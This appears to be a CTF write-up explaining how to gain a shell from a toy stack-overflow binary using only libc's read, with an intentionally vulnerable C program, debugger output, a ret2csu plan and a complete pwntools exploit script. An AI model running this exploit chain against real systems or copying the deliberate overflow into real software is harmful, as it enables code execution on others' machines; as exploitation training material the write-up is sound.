While playing some pwn in HackZone CTF, i figured out a new technique for Arbitrary Code Execution only by using the read
function from libc.
TL;DR Link to heading
It’s almost impossible for a security research to exploit a binary only with Arbitrary Write, because in real world you need to leak some data (Specially when ASLR is enabled) and then jump to the right place. However i got an idea of how to get RCE using only read@GLIBC (Arbitrary Write
) on a X86_64 platform.
PWN.c Link to heading
// gcc -fno-stack-protector -no-pie pwn.c -o pwn
#include <stdio.h>
#include <stdlib.h>
int main(){
char buf[100];
read(0, &buf, 500);
}
Following this code, we will be compiling it and try to exploit it using our method!
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
As we can see the GOT table is writable, so this will help us to overwrite the read@GOT but the problem is what kind of data we’ll using it to overwrite the read@GOT since we don’t have the ability to leak address and ASLR is enable!
Read@GOT Link to heading
root@kali:~# objdump -R ./pwn
./pwn: file format elf64-x86-64
DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
0000000000403ff0 R_X86_64_GLOB_DAT __libc_start_main@GLIBC_2.2.5
0000000000403ff8 R_X86_64_GLOB_DAT __gmon_start__
0000000000404018 R_X86_64_JUMP_SLOT read@GLIBC_2.2.5
gdb-peda$ x/g 0x404018
0x404018 <[email protected]>: 0x00007ffff7ee2850
In our example the address 0x404018
in the GOT table points to the address of read@GLIBC_2.2.5
in libc.
Read@GLIBC Link to heading
gdb-peda$ disassemble read
Dump of assembler code for function __GI___libc_read:
0x00007ffff7ee2850 <+0>: lea rax,[rip+0xd3b79]
0x00007ffff7ee2857 <+7>: mov eax,DWORD PTR [rax]
0x00007ffff7ee2859 <+9>: test eax,eax
0x00007ffff7ee285b <+11>: jne 0x7ffff7ee2870 <__GI___libc_read+32>
0x00007ffff7ee285d <+13>: xor eax,eax
0x00007ffff7ee285f <+15>: syscall
0x00007ffff7ee2861 <+17>: cmp rax,0xfffffffffffff000
0x00007ffff7ee2867 <+23>: ja 0x7ffff7ee28c0 <__GI___libc_read+112>
0x00007ffff7ee2869 <+25>: ret
0x00007ffff7ee286a <+26>: nop WORD PTR [rax+rax*1+0x0]
0x00007ffff7ee2870 <+32>: sub rsp,0x28
0x00007ffff7ee2874 <+36>: mov QWORD PTR [rsp+0x18],rdx
0x00007ffff7ee2879 <+41>: mov QWORD PTR [rsp+0x10],rsi
0x00007ffff7ee287e <+46>: mov DWORD PTR [rsp+0x8],edi
0x00007ffff7ee2882 <+50>: call 0x7ffff7efe570
...
Following the assembler code for function read@GLIBC, we can see that the first syscall
instruction is only 15bit from the first instruction followed by ret
which is only 45bit from the first instruction.
One byte overwrite in the read@GOT can create a gadget of
syscall; ret
Summarize Link to heading
PWN Link to heading
To summarize all the steps to exploit the binary, what we need to do is :
- We need to use
ret2csu
technique in order to control the RDI, RSI and RDX. - Using the read function to write
/bin/sh
in the.bss
section. - Overwrite the
read@GOT
with one byte0x5f
in order for the read function to point in thesyscall
instruction. - Because we overwrite with
one
byte, that’s mean theRAX
is equal to1
. - The RAX register is equal to 1 and the read function is pointing in syscall instruction. That’s mean we have a
write
function. - Using the write function, we will read
0x3b
size of arbitrary data from (.text or .bss) in order for the RAX to be equal to 0x3b (sys_execve
). - Now we have
RAX
equal to0x3b
and we have/bin/sh
in the memory, all what we need to do is to fire asyscall
. - We got a shell.
Exploit Link to heading
from pwn import *
p = process('./pwn')
read_got = p64(0x404018) # read@got
read_plt = p64(0x401030) # read@plt
str_bin_sh = p64(0x404100) # 0x00404000 (bss) + 0x100
text = p64(0x401000) # .text section
csu_init1 = p64(0x4011a2) # pop rbx
csu_init2 = p64(0x401188) # mov rsi, r13
csu_fini = p64(0x4011b0) # ret
sys_execve = p64(0x3b)
null = p64(0x0)
one = p64(0x1)
zero = p64(0x0)
stdin = p64(0x0)
stdout = p64(0x1)
junk = 'JUNKJUNK'
bin_sh = '/bin/sh\x00'
len_bin_sh = p64(len(bin_sh))
def ret2csu(func_GOT, rdi, rsi, rdx):
ret_csu = zero # pop rbx
ret_csu += one # pop rbp
ret_csu += rdi # pop r12
ret_csu += rsi # pop r13
ret_csu += rdx # pop r14
ret_csu += func_GOT # pop r15
ret_csu += csu_init2 # ret
ret_csu += junk # add rsp,0x8
return ret_csu
crash = 'A' * 120
# Write '/bin/sh' in str_bin_sh
rop = csu_init1
rop += ret2csu(read_got, stdin, str_bin_sh, len_bin_sh)
# Overwrite read@got with one_byte
rop += ret2csu(read_got, stdin, read_got, one)
# Read arbitrary data in order to gt 0x3b in RAX
rop += ret2csu(read_got, stdout, text, sys_execve)
# sys_execve('/bin/sh')
rop += ret2csu(read_got, str_bin_sh, null, null)
payload = crash + rop
exploit = payload.ljust(500, 'A')
p.send(exploit)
p.send(bin_sh)
p.send('\x5f')
garbage = p.recv()
p.interactive()